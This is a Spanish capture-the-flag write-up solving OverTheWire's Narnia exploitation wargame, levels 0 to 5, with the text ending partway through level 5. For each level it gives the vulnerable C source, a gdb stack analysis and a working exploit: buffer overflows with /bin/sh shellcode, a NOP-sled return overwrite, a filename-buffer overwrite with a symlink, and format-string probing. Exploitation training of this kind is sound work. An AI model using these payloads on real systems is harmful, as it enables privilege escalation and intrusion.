You are on page 1of 47

Mi solucin al wargame Narnia

http://www.overthewire.org/wargames/narnia/ 24/02/2013 @neosysforensics

ndice de contenido
Introduccin........................................................................................................................... 5 Nivel 0..................................................................................................................................... 7 Nivel 1................................................................................................................................... 11 Nivel 2................................................................................................................................... 13 Nivel 3................................................................................................................................... 17 Nivel 4................................................................................................................................... 21 Nivel 5................................................................................................................................... 25 Nivel 6................................................................................................................................... 29 Nivel 7................................................................................................................................... 35 Nivel 8................................................................................................................................... 39 Nivel 9................................................................................................................................... 47

Introduccin
El reto Narnia, alojado en los servidores de overthewire 1, es un reto de exploiting de nivel bsico dado que los binarios no estn sujetos a ningn tipo de proteccin, lease ASLR, ejecucin de cdigo en el stack, proteccin frente a desbordamientos de buffer, etc. Adems de todo lo anterior, cada uno de los binarios que se corresponden con los diferentes niveles viene acompaado de su cdigo fuente, lo que facilitar su anlisis y comprensin utilizando GNU debugger (aka gdb2). La direccin del servidor que aloja el wargame es narnia.labs.overthewire.org y accederemos al mismo utilizando cualquier cliente SSH (PuTTY3 desde Windows, por ejemplo). Mas informacin, incluyendo los crditos de los creadores del reto en la direccin: http://www.overthewire.org/wargames/narnia/ No lo indico explcitamente pero es recomendable borrar cualquier fichero generado para superar el reto correspondiente a cada nivel una vez completado ste. Sin ms prembulos pasemos a la accin :-)

1 2 3

http://www.overthewire.org/wargames/ http://www.gnu.org/software/gdb/ http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

Nivel 0
Utilizaremos narnia0 como nombre de usuario y contrasea y una vez autentificados en el sistema comenzaremos a familiarizarnos con l. Aterrizaremos en el directorio /home del usuario, sobre el que tendremos unos permisos muy restringidos:
narnia0@melissa:~$ ls -ld . drwxr-xr-x 2 root root 4096 2012-06-28 14:55 .

Si por cualquier motivo necesitamos crear algn fichero tendremos que desplazarnos al directorio /tmp, y procurar no olvidar el nombre del mismo, dado que no podremos listar el contenido del directorio:
narnia0@melissa:~$ cd /tmp narnia0@melissa:/tmp$ ls -ld . drwxrwx-wt 1299 root root 602112 2013-02-20 19:58 .

Los binarios y sus correspondientes ficheros de cdigo fuente se encuentran en la siguiente ruta:
narnia0@melissa:/tmp$ ls -l /narnia total 69 -r-sr-x--- 1 narnia1 narnia0 7247 2012-06-28 -r--r----- 1 narnia0 narnia0 1138 2012-06-28 -r-sr-x--- 1 narnia2 narnia1 7163 2012-09-24 -r--r----- 1 narnia1 narnia1 1000 2012-09-24 -r-sr-x--- 1 narnia3 narnia2 4661 2012-06-28 -r--r----- 1 narnia2 narnia2 999 2012-06-28 -r-sr-x--- 1 narnia4 narnia3 5339 2012-06-28 -r--r----- 1 narnia3 narnia3 1841 2012-06-28 -r-sr-x--- 1 narnia5 narnia4 4855 2012-06-28 -r--r----- 1 narnia4 narnia4 1064 2012-06-28 -r-sr-x--- 1 narnia6 narnia5 5007 2012-06-28 -r--r----- 1 narnia5 narnia5 1221 2012-06-28 -r-sr-x--- 1 narnia7 narnia6 5297 2012-12-19 -r--r----- 1 narnia6 narnia6 1340 2012-12-19 -r-sr-x--- 1 narnia8 narnia7 5866 2012-06-28 -r--r----- 1 narnia7 narnia7 1930 2012-06-28 -r-sr-x--- 1 narnia9 narnia8 4692 2012-06-28 -r--r----- 1 narnia8 narnia8 1292 2012-06-28

14:55 14:55 12:48 12:48 14:55 14:55 14:55 14:55 14:55 14:55 14:55 14:55 19:01 19:01 14:55 14:55 14:55 14:55

narnia0 narnia0.c narnia1 narnia1.c narnia2 narnia2.c narnia3 narnia3.c narnia4 narnia4.c narnia5 narnia5.c narnia6 narnia6.c narnia7 narnia7.c narnia8 narnia8.c

Cada uno de los ejecutables pertenece al usuario correspondiente al siguiente nivel y todos tienen activo el bit SUID4. Por otra parte las contraseas para los diferentes niveles se almacenan en el directorio /etc/narnia_pass, en un fichero con el nombre del usuario correspondiente.
4 http://www.iec.csic.es/criptonomicon/linux/suid.html

narnia0@melissa:/tmp$ ls -l /etc/narnia_pass/ total 40 -r-------- 1 narnia0 narnia0 8 2012-06-28 14:55 -r-------- 1 narnia1 narnia1 11 2012-09-24 12:48 -r-------- 1 narnia2 narnia2 11 2012-06-28 14:55 -r-------- 1 narnia3 narnia3 11 2012-06-28 14:55 -r-------- 1 narnia4 narnia4 11 2012-06-28 14:55 -r-------- 1 narnia5 narnia5 11 2012-06-28 14:55 -r-------- 1 narnia6 narnia6 11 2012-12-19 19:01 -r-------- 1 narnia7 narnia7 11 2012-06-28 14:55 -r-------- 1 narnia8 narnia8 11 2012-06-28 14:55 -r-------- 1 narnia9 narnia9 11 2012-06-28 14:55

narnia0 narnia1 narnia2 narnia3 narnia4 narnia5 narnia6 narnia7 narnia8 narnia9

De todo lo anterior deducimos que explotando algn fallo en los binarios de cada nivel tendremos que ser capaces de leer el fichero con la contrasea para acceder al siguiente. Empezaremos viendo el cdigo fuente del primero:
narnia0@melissa:~$ cat /narnia/narnia0.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <stdlib.h> int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef) system("/bin/sh"); else { printf("WAY OFF!!!!\n"); exit(1); } return 0; }

Parece que el programa recibe interactivamente nuestra entrada de texto para, a continuacin, comprobar el valor de una variable almacenada previamente; si conseguimos hacer que el valor de dicha variable, en hexadecimal, sea igual a deadbeef obtendremos como premio una shell desde la que podremos leer el fichero con la contrasea de acceso al siguiente nivel. Empezaremos con las perreras, probando directamente a desbordar el buffer de destino introduciendo 21 caracteres (buf solo admite 20):
narnia0@melissa:/narnia$ /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: BBBBBBBBBBBBBBBBBBBBB buf: BBBBBBBBBBBBBBBBBBBBB val: 0x41410042 WAY OFF!!!!

De la salida podemos deducir que la variable val se sita en la pila justo despus del final de buf ya que hemos sobreescrito dos bytes: una B y el valor nulo indicador del final de cadena. Vamos a confirmarlo probando con 24 caracteres:
narnia0@melissa:/narnia$ /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: BBBBBBBBBBBBBBBBBBBBBBBB buf: BBBBBBBBBBBBBBBBBBBBBBBB val: 0x42424242 WAY OFF!!!!

Ahora mediante python generaremos la cadena que utilizaremos como entrada utilizando 20 B's y el valor hexadecimal deadbeef, recordando que estamos en un sistema little-endian5 y que por lo tanto tendremos que ponerla justo al revs:
narnia0@melissa:~$ python -c 'print "B" * 20 + "\xef\xbe\xad\xde"' BBBBBBBBBBBBBBBBBBBB

Solo resta utilizar la cadena anterior como entrada de la aplicacin vulnerable, y para ello tenemos dos opciones: la cutre, que fu la que yo us, y la elegante6, que es la que averigu @NewLog_. La cutre consiste en copiar la cadena generada con el comando anterior, ejecutar la aplicacin y pegarla cuando nos solicite la entrada. La ms elegante seria:
narnia0@melissa:~$ (python -c 'print "B" * 20 + "\xef\xbe\xad\xde"' ; cat) \ > | /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: BBBBBBBBBBBBBBBBBBBB val: 0xdeadbeef cat /etc/narnia_pass/narnia1 lolololol

5 6

http://es.wikipedia.org/wiki/Endianness http://foro.overflowedminds.net/viewtopic.php?f=32&t=76#p1309

A pesar que no veamos el prompt estaremos dentro de una shell, y de hecho al ejecutar el comando para obtener la contrasea ste se ejecutar devolvindola como resultado. Para salir de la shell podemos utilizar Ctrl+C o el comando exit mas un retorno de carro. Por cierto, ni en sta ni en el resto de soluciones he incluido la contrasea correcta.

10

Nivel 1
Una vez autentificados en el sistema como el usuario narnia1 con la contrasea obtenida en el nivel anterior analizaremos el cdigo fuente de la aplicacin:
narnia1@melissa:~$ cat /narnia/narnia1.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> int main(){ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }

USA

El programa comprueba el valor de la variable de entorno EGG de forma que, si est definida, comenzar a ejecutar las instrucciones que all encuentre. Pues nada, ya lo tenemos, bastar con exportar en la variable de entorno EGG una shellcode que ejecute bash y lanzar a continuacin la aplicacin vulnerable:
narnia1@melissa:~$ export EGG=$(python -c 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" + "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"') narnia1@melissa:~$ /narnia/narnia1 Trying to execute EGG! $ cat /etc/narnia_pass/narnia2 lolololol

11

12

Nivel 2
Autentificados en el sistema como el usuario narnia2 con la contrasea obtenida en el nivel anterior, primero analizaremos el cdigo fuente de la aplicacin vulnerable:
narnia2@melissa:~$ cat /narnia/narnia2.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; }

USA

Probaremos a desbordar el buffer, buf[128], pero antes utilizaremos gdb para analizar la aplicacin y ver la composicin del stack:
narnia2@melissa:~$ gdb -q /narnia/narnia2 Reading symbols from /narnia/narnia2...(no debugging symbols found)...done. (gdb) break strcpy Breakpoint 1 at 0x8048314 (gdb) run AAAA Starting program: /narnia/narnia2 AAAA Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6a8: 0xffffd748 0x08048450 0xffffd6c0

0xffffd929

Estamos dentro de la funcin strcpy, as que los cuatro valores mostrados se corresponden, por orden de aparicin, con los siguientes: 13

Direccin del stack donde est el registro EBP para el main: 0xffffd748. Direccin para la siguiente instruccin una vez finalice la funcin: 0x08048450. Direccin que apunta a buf[128], primer argumento de strcpy: 0xffffd6c0. Direccin para el contenido de argv[1], segundo argumento de strcpy: 0xffffd929.

Por lo tanto el stack, una vez terminada strcpy, tendr ms o menos el siguiente aspecto:
0xffffd74c: EBP --> 0xffffd748: 0xffffd74c: ..........: 0xffffd6c0: 0xffffd6bc: 0xffffd6b8: 0xffffd6b4: ESP --> 0xffffd6b0: EIP del main EBP del main buf[128] buf[128] buf[128] No es importante No es importante No es importante No es importante

Los valores exactos variarn cuando utilicemos un buffer ms grande, pero lo realmente importante es el offset necesario para sobreescribir EIP:
0xffffd74c 0xffffd6c0 = 0x8c + 0x4 = 0x90 144 en decimal

Probemos:
narnia2@melissa:~$ /narnia/narnia2 $(python -c 'print "A" * 144') Segmentation fault

Exportaremos una variable de entorno con una shellcode, obtendremos la direccin de dicha variable en memoria y la usaremos para sobreescribir EIP. Dado que tenemos que generar y compilar un programa para obtener dicha direccin nos situaremos en el directorio /tmp.
narnia2@melissa:~$ cd /tmp narnia2@melissa:/tmp$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\xb0" + "\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" + "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff" + "\xff/bin/sh"') narnia2@melissa:/tmp$ vim get_address.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if(!argv[1]) exit(1); printf("%#x\n", getenv(argv[1])); return 0; }

14

Para obtener la direccin correcta tenemos que compilar el programa como un binario de 32 bits, ya que a pesar de ejecutarse en un sistema de 64 bits los binarios del reto estn generados as:
narnia2@melissa:/tmp$ gcc -m32 -o get_address get_address.c narnia2@melissa:/tmp$ ./get_address SHELLCODE 0xffffdf01

Utilizando la direccin anterior desbordaremos la variable buf sobreescribiendo EIP:


narnia2@melissa:/tmp$ /narnia/narnia2 $(python -c 'print "A" * 140 + "\x01\xdf\xff\xff"') $ cat /etc/narnia_pass/narnia3 lolololol

15

16

Nivel 3
Autentificados en el sistema como el usuario narnia3 con la contrasea obtenida en el nivel anterior, primero analizaremos el cdigo fuente de la aplicacin vulnerable:
narnia3@melissa:~$ cat /narnia/narnia3.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include #include #include #include #include #include #include <stdio.h> <sys/types.h> <sys/stat.h> <fcntl.h> <unistd.h> <stdlib.h> <string.h>

USA

int main(int argc, char **argv){ int char char char ifd, ofd; ofile[16] = "/dev/null"; ifile[32]; buf[32];

if(argc != 2){ printf("usage, %s file, will send contents of file 2" "/dev/null\n",argv[0]); exit(-1); } /* open files */ strcpy(ifile, argv[1]); if((ofd = open(ofile,O_RDWR)) < 0 ){ printf("error opening %s\n", ofile); exit(-1); } if((ifd = open(ifile, O_RDONLY)) < 0 ){ printf("error opening %s\n", ifile); exit(-1); } /* copy from file1 to file2 */ read(ifd, buf, sizeof(buf)-1); write(ofd,buf, sizeof(buf)-1); printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

17

/* close 'em */ close(ifd); close(ofd); exit(1); }

Leyendo el cdigo vemos dos ficheros utilizados por la aplicacin: el fichero de entrada recibido como argumento desde la lnea de comandos y el fichero de salida que apunta a /dev/null. Si ejecutamos el binario tal que:
narnia3@melissa:~$ /narnia/narnia3 /etc/narnia_pass/narnia4 copied contents of /etc/narnia_pass/narnia4 to a safer place... (/dev/null)

Se copiar la contrasea que queremos obtener al fichero definido como destino, as que lo que tendremos que conseguir es que la salida deje de apuntar a /dev/null y lo haga a un fichero controlado por nosotros. Volvamos a lanzar la aplicacin desde dentro del debugger para dibujarnos el contenido del stack. Pongamos un breakpoint en la llamada a strcpy7:
narnia3@melissa:~$ gdb -q /narnia/narnia3 Reading symbols from /narnia/narnia3...(no debugging symbols found)...done. (gdb) break strcpy Breakpoint 1 at 0x80483c0 (gdb) run /etc/narnia_pass/narnia4 Starting program: /narnia/narnia3 /etc/narnia_pass/narnia4 Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6b8: 0xffffd738 0x0804851d 0xffffd6f8

0xffffd915

Como estamos dentro de la funcin strcpy una vez ejecutado el prlogo, los valores de la salida anterior, en el mismo orden en que aparecen, se correspondern con: Direccin de EBP dentro del main: 0xffffd738. Siguiente instruccin al terminar strcpy (EIP en el main): 0x0804851d. Direccin en el stack donde empieza ifile[32]: 0xffffd6f8. Direccin en el stack para la cadena correspondiente a argv[1]: 0xffffd915.

Comprobmoslo poniendo un breakpoint en la instruccin inmediatamente posterior a strcpy:


(gdb) break *0x0804851d Breakpoint 2 at 0x804851d

http://linux.die.net/man/3/strcpy

18

(gdb) c Continuing. Breakpoint 2, 0x0804851d in main () (gdb) print (char *) 0xffffd6f8 $1 = 0xffffd6f8 "/etc/narnia_pass/narnia4" (gdb) print (char *) 0xffffd915 $2 = 0xffffd915 "/etc/narnia_pass/narnia4"

Veamos ahora qu es lo que tenemos justo detrs de ifile[32], que ser la regin del stack que podremos sobreescribir desbordando el buffer:
(gdb) x/12xw 0xffffd6f8 0xffffd6f8: 0x6374652f 0xffffd708: 0x72616e2f 0xffffd718: 0x7665642f

0x72616e2f 0x3461696e 0x6c756e2f

0x5f61696e 0xf7ea2c00 0x0000006c

0x73736170 0xf7fd3324 0x00000000

Encontramos primero, como era de esperar, la cadena utilizada como argumento de la aplicacin, /etc/narnia_pass/narnia4, escrita en little-endian usando un valor hexadecimal de 1 byte para representar cada carcter ASCII 8, y terminada con el carcter de final de cadena o carcter nulo (00). Y justo a continuacin encontramos lo que parece ser otra cadena, quizs la variable ofile[16] establecida por defecto a /dev/null?
(gdb) print (char *) 0xffffd6f8+32 $3 = 0xffffd718 "/dev/null"

Ah la tenemos, as que la estructura de nuestro payload ser:


/etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd |______________________________||______________| ifile[32] ofile[16]

Tendremos que rellenar la primera cadena con A's para empezar a escribir la segunda cadena justo en el lugar adecuado. La segunda cadena termina en un byte nulo, por lo que no es necesario ningn relleno. Sobra decir que el nmero de caracteres que forman la ruta del fichero donde volcaremos la contrasea tiene que ser necesariamente inferior a 15 caracteres (15 + 1 byte nulo).
(gdb) run /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia3 /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6

http://www.asciitable.com/

19

(gdb) x/4xw $esp 0xffffd6a8: 0xffffd728 (gdb) c Continuing.

0x0804851d

0xffffd6e8

0xffffd902

Breakpoint 2, 0x0804851d in main () (gdb) print (char *) 0xffffd6e8 $4 = 0xffffd6e8 "/etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd" (gdb) print (char *) 0xffffd6e8+32 $5 = 0xffffd708 "/tmp/passwd"

Los offsets han cambiado debido a la mayor longitud del argumento recibido como entrada por la aplicacin, pero la estructura del stack se mantiene, as que ya lo tenemos. Nos desplazaremos al directorio /tmp, donde crearemos los ficheros necesarios para obtener la contrasea. Primero el fichero de destino, con los permisos adecuados para que pueda escribir en l cualquier usuario del sistema (y por ende el binario /narnia/narnia3):
narnia3@melissa:/tmp$ touch passwd narnia3@melissa:/tmp$ chmod 777 passwd

y ahora crearemos un enlace simblico al fichero con la contrasea. Debemos hacerlo as porque la aplicacin usar /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd como nombre del fichero a leer:
narnia3@melissa:/tmp$ ln -s /etc/narnia_pass/narnia4 \ > /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd

Solo nos queda ejecutar la aplicacin pasndole como argumento la cadena maliciosa y leer la contrasea obtenida:
narnia3@melissa:/tmp$ /narnia/narnia3 /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd copied contents of /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd to a safer place... (/tmp/passwd) narnia3@melissa:/tmp$ cat passwd lolololol

20

Nivel 4
Autentificados en el sistema como el usuario narnia4 con la contrasea obtenida en el nivel anterior, primero analizaremos el cdigo fuente de la aplicacin vulnerable:
narnia4@melissa:~$ cat /narnia/narnia4.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include #include #include #include <string.h> <stdlib.h> <stdio.h> <ctype.h>

USA

extern char **environ; int main(int argc,char **argv){ int i; char buffer[256]; for(i = 0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); if(argc>1) strcpy(buffer,argv[1]); return 0; }

La aplicacin no muestra ningn tipo de salida adems de que el objetivo parece estar claro: desbordar la variable buffer[256] para sobreescribir EIP y ejecutar as nuestra shellcode:
narnia4@melissa:~$ gdb -q /narnia/narnia4 Reading symbols from /narnia/narnia4...(no debugging symbols found)...done. (gdb) break *strcpy Breakpoint 1 at 0x804838c (gdb) run AAAA Starting program: /narnia/narnia4 AAAA Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd61c: 0x080484ee 0xffffd63c 0xffffd929

0x00000021

21

(gdb) info reg ebp ebp 0xffffd748

0xffffd748

De las instrucciones anteriores podemos deducir la siguiente composicin del stack:


0xffffd74c: EBP --> 0xffffd748: ........... 0xffffd63c: .......... ESP --> 0xffffd61c: EIP No es importante Inicio de buffer[256] No es importante

Por lo tanto para sobreescribir EIP necesitaremos:


0xffffd74c 0xffffd63c = 0x110 + 0x4 = 0x114 276 en decimal

Respecto a la ubicacin de nuestra shellcode, no podremos utilizar una variable de entorno como hemos hecho hasta ahora dado que la aplicacin se encarga de vaciar el contenido del entorno durante su ejecucin. Pero este ser el menor de los problemas ya que tenemos suficiente espacio en buffer para colocarla all dentro; el verdadero problema ser la direccin que utilizaremos en EIP y que tendr que apuntar dentro de nuestro buffer y antes de la shellcode. Analicemos en que forma se modifican las direcciones utilizando la cantidad de caracteres necesarios para sobreescribir EIP y si, efectivamente, dicho registro es sobreescrito:
narnia4@melissa:/tmp$ gdb -q /narnia/narnia4 Reading symbols from /narnia/narnia4...(no debugging symbols found)...done. (gdb) break strcpy Breakpoint 1 at 0x804838c (gdb) run $(python -c 'print "A" * 276') Starting program: /narnia/narnia4 $(python -c 'print "A" * 276') Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd518: 0xffffd648 0x080484ee 0xffffd53c (gdb) break *0x080484ee Breakpoint 2 at 0x80484ee (gdb) c Continuing. Breakpoint 2, 0x080484ee in main () (gdb) x/xw $ebp+4 0xffffd64c: 0x41414141

0xffffd822

Nuestro buffer comienza en la direccin 0xffffd53c. Colocaremos al inicio del mismo una cantidad suficiente de NOP's, a continuacin nuestra shellcode y al final la direccin de retorno apuntando a la serie de NOP's y repetida tantas veces como sea necesario para llegar hasta EIP.

22

Primero generaremos un fichero de texto con la shellcode y calcularemos su longitud:


narnia2@melissa:/tmp$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e" . "\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56" . "\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > shc narnia4@melissa:/tmp$ wc -c shc 53 shc

En este caso he utilizado perl dado que python se empea en agregar un carcter de nueva linea al final de la cadena y por lo tanto no funcionar al meter la shellcode dentro de buffer.
276 200 NOP's 53 shc = 23

Como el carcter se desalinea (las direcciones van en bloques de 4 bytes) incrementaremos en 3 el numero de NOP's a utilizar. Por lo tanto nos quedan 20 bytes y para asegurarnos repetiremos 5 veces la direccin de retorno, la cual apuntar a los NOP's (de hecho apunta a buffer ms 20 bytes). Probaremos a ver si funciona:
narnia4@melissa:/tmp$ /narnia/narnia4 $(python -c 'print "\x90" * 203')$(cat shc)$ (python -c 'print "\x50\xd5\xff\xff" * 5') $ cat /etc/narnia_pass/narnia5 lolololol

El mtodo seguido no es muy elegante, pero cumple con su cometido.

23

24

Nivel 5
Autentificados en el sistema como el usuario narnia5 con la contrasea obtenida en el nivel anterior, primero analizaremos el cdigo fuente de la aplicacin vulnerable:
narnia5@melissa:~$ cat /narnia/narnia5.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof(buffer), argv[1]); buffer[sizeof(buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; }

USA

En este caso tenemos que modificar el valor de la variable i para conseguir que el programa nos brinde una shell; ademas el contenido de la variable buffer se completa mediante snprintf9, que utilizar la entrada que le proporcionemos a la aplicacin como cadena de formato. Y he aqu que nos enfrentamos a un tipo diferente de vulnerabilidad 10. Bsicamente, si nuestra cadena es pasada directamente a una funcin de la familia printf nada nos impide incluir en el interior de la misma cualquier tipo de especificador de formato11 que se nos ocurra.
9 http://linux.die.net/man/3/snprintf 10 http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf 11 http://www.cdf.toronto.edu/~ajr/209/notes/printf.html

25

Este tipo especial de smbolos funcionan como un espacio reservado que se completa en tiempo de ejecucin con los argumentos de la funcin, los cuales aparecern formateados tal como dichos smbolos indiquen. Pero dado que los argumentos necesarios no estn, la funcin interpretar secciones contguas del stack como si de ellos se tratarn.
narnia5@melissa:~$ /narnia/narnia5 "%08x %08x %08x %08x" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [f7fd2ff4 f7f80b19 f7ea2ab5 ffffd708] (35) i = 1 (0xffffd73c)

En este caso la cadena de formato indica que se muestren los argumentos en hexadecimal utilizando 8 caracteres completando con 0 si fuera necesario. Si lo vemos desde dentro del debugger estar ms claro. Pondremos un breakpoint en la llamada a snprintf y volveremos a detener la aplicacin una vez ejecutada la funcin, y por lo tanto escrito el contenido de buffer:
narnia5@melissa:~$ gdb -q /narnia/narnia5 Reading symbols from /narnia/narnia5...(no debugging symbols found)...done. (gdb) break snprintf Breakpoint 1 at 0x8048390 (gdb) run "%08x %08x %08x %08x" Starting program: /narnia/narnia5 "%08x %08x %08x %08x" Breakpoint 1, 0xf7ebd604 in snprintf () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6c4: 0xf7fd2ff4 0xffffd738 0x08048485 (gdb) break *0x08048485 Breakpoint 2 at 0x8048485 (gdb) c Continuing. Breakpoint 2, 0x08048485 in main () (gdb) x/16xw $esp 0xffffd6d0: 0xffffd6ec 0x00000040 0xffffd6e0: 0xf7f80b19 0xf7ea2ab5 0xffffd6f0: 0x34666632 0x66376620 0xffffd700: 0x61326165 0x66203562

0xffffd6ec

0xffffd91a 0xffffd6f8 0x31623038 0x64666666

0xf7fd2ff4 0x64663766 0x37662039 0x00386636

El primer valor que aparece es la direccin de inicio de buffer, 0xffffd6ec, y por lo tanto el primer argumento que utiliz snprintf en su llamada; a continuacin el segundo argumento de snprintf, sizeof(buffer), y por ltimo la direccin en el stack de argv[1], 0xffffd91a, nuestra cadena de formato. A partir de all los cuatro valores que aparecen son los que se utilizarn en tiempo de ejecucin para sustituir los especificadores de formato, y por tanto el contenido final de buffer. Para comprobarlo dejaremos que el programa termine y por tanto que se ejecute la ltima sentencia printf de la aplicacin:
(gdb) c Continuing. Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [f7fd2ff4 f7f80b19 f7ea2ab5 ffffd6f8] (35) i = 1 (0xffffd72c)

26

La posibilidad de ver los valores almacenados en el stack ya resulta suficientemente peligrosa de por s, pero es que adems, y tal como necesitamos para poder pasar al siguiente nivel, resulta posible modificar el contenido del mismo. Pero para ello primero tendremos que conocer la posicin en los valores accesibles por la cadena de formato del parmetro que podemos controlar. De las pruebas realizadas hasta el momento conocemos que el comienzo de la variable que almacenar el argumento recibido por la aplicacin aparece en quinto lugar, es decir:
narnia5@melissa:~$ /narnia/narnia5 "ABCD %08x %08x %08x %08x %08x" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ABCD f7fd2ff4 f7f80b19 f7ea2ab5 ffffd708 44434241] (49) i = 1 (0xffffd73c)

El ltimo especificador de formato, el correspondiente al quinto %08x de nuestra cadena enviada a la aplicacin, nos muestra los valores hexadecimales para los 4 caracteres que indicamos en primer lugar, es decir, ABCD. Por lo tanto el parmetro que controlamos es el quinto. Si a esto le sumamos que Linux nos permite indicar en la cadena de formato el parmetro que se utilizar para sustituir cada especificador, la cadena necesaria se simplifica muchsimo:
narnia5@melissa:~$ /narnia/narnia5 "ABCD %5\$x" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ABCD 44434241] (13) i = 1 (0xffffd73c)

Juntando todo lo anterior, un mtodo ms recomendable para localizar dicha posicin, extrado del libro The Shellcoder's Handbook: Discovering and Exploiting Security Holes12, sera utilizar un poco de fuerza bruta:
